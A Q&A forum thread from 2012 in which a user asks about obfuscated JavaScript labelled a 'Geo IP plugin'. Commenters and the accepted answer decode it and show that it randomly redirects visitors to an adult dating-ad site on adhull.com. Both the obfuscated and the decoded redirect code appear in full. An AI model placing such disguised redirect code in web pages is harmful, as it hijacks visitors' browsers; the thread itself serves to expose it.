Geo Javascript decoding

Question

I need explanation on how this code works and how I can edit it to make changes, It is a Geo IP plugin code. Thanks in advance

 <!--Geo IP plugin (do not remove or page breaks like last time)-->
    <script>
    var _0x594c=["\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D", "\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x68\x74\x74\x70\x3A\x2F\x2F\x72\x65\x61\x6C\x6D\x61\x74\x75\x72\x65\x73\x69\x6E\x67\x6C\x65\x73\x34\x30\x2E\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D\x2F\x3F\x73\x74\x61\x74\x65\x3D\x57\x61\x73\x68\x69\x6E\x67\x74\x6F\x6E\x26\x61\x67\x65\x3D\x34\x30\x26\x73\x69\x64\x3D\x6E\x6F\x6E\x6C\x6F\x63\x61\x6C"];
    var num=Math[_0x594c[1]](Math[_0x594c[0]]()*11);
    if(num%2==0){if(window[_0x594c[5]][_0x594c[4]][_0x594c[3]](_0x594c[2])==-1)
    {window[_0x594c[5]]=_0x594c[6];} ;} ;
    </script>

It has been deliberately obfuscated so you can't make changes. Get the original source if you want to edit it. — Quentin, Feb 16 '12 at 10:38
I know that it includes a URI pointing to the host realmaturesingles40.adhull.com … which makes me question its connection to any Geo IP plugin code. — Quentin, Feb 16 '12 at 10:44
@Quentin but what if it's about real mature singles *near you*! — Pekka, Feb 16 '12 at 11:28

score 3 · Accepted Answer · answered Feb 16 '12 at 11:32

It's not really a "geoIP plugin".

If you decript the array, it gives you:

var array =["random", "floor", "adhull.com", "indexOf", "href", "location", "http://realmaturesingles40.adhull.com/?state=Washington&age=40&sid=nonlocal"];

And you can now understand that the script is equal to

var num=Math.floor(Math.random()*11);
if(num%2==0){
    if(window.location.href.indexOf('adhull.com')==-1) {            
        window.location="http://realmaturesingles40.adhull.com/state=Washington&age=40&sid=nonlocal";
    }
}

Geo Javascript decoding

1 Answers1